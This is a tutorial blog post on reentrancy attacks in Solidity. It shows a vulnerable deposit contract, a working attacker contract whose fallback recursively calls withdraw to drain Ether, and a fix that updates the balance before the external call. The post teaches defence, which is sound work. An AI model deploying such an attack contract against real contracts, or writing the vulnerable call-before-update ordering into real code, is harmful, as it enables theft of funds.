rE-eNTRANCY aTTACK IN sOLIDITY

Re-entrancy Attack in Solidity

In a Solidity smart contract, a reentrancy attack is a popular exploit. These assaults can fully deplete the cash in your smart contract. When a function makes an external call to another untrusted contract then, in an attempt to drain funds, the untrusted contract makes a recursive call back to the original function is called the reentrancy attack.

An attacker can recursively run the withdraw function and drain the entire contract if the vulnerable contract transfers funds before it sets the balance to zero. Below is the contract, which contains the reentrancy vulnerability.

				
					// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }


}
				
			

It is undoubtedly critical to become familiar with various smart contract attacks. This will assist you in understanding the risks associated with smart contracts and educate you toward being a better developer. The purpose is to assist you in avoiding these costly coding errors. If you’re not careful, vulnerabilities can find their way into your code.

Two smart contracts are used in a reentrancy attack. A contract with a terrible code for the victim and a contract with an untrustworthy attacker. Contract A invokes a function in contract B, which is then invoked by contract B while contract A is still processing.

The fallback function in contract B is used to call back into contract A in order to abuse the orders of operation in a poorly constructed balance tracking function. Contract A’s function is written in the following sequence in the example above.

				
					// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './ContractA.sol';

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }

    function ContractBal() public view returns (uint) {
        return address(this).balance;
    }

}
				
			

Let’s say Contract DepositFunds contains 100 ethers, and the attacker must use the attack function to deposit 1 ether to satisfy the first check, which is require(bal > 0). 

msg.sender.call(value: bal)(“”) will execute the attacker contract’s fallback function, which will call the depositFunds contract’s withdraw function once more, and this will continue until all funds are drained from the depositFunds contract.

How to avoid a re-entrancy attack?

All we need to do is make a state change before making the external contract call. I have moved balances[msg.sender] = 0; before making the external contract call which is msg.sender.call.

You’ve averted an expensive mistake by making this simple improvement. Because the DepostFunds contract checks the user balance before making an external contract, it will see that the balance is already zero this time, and it will throw an error.

				
					// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        
    }


}
				
			

To learn more about Blockchain and WEB3 you can follow me on Twitter. I share daily tips and resources to help you break into WEB3 and Blockchain. You can also check my FREE courses on Blockchain and WEB3. Courses

Leave a Reply

https://www.linkedin.com/company/77619036/admin/

welcome.

We connect you to a world of houseplants and urban gardening tailored to your home

Bloomer

Login to your account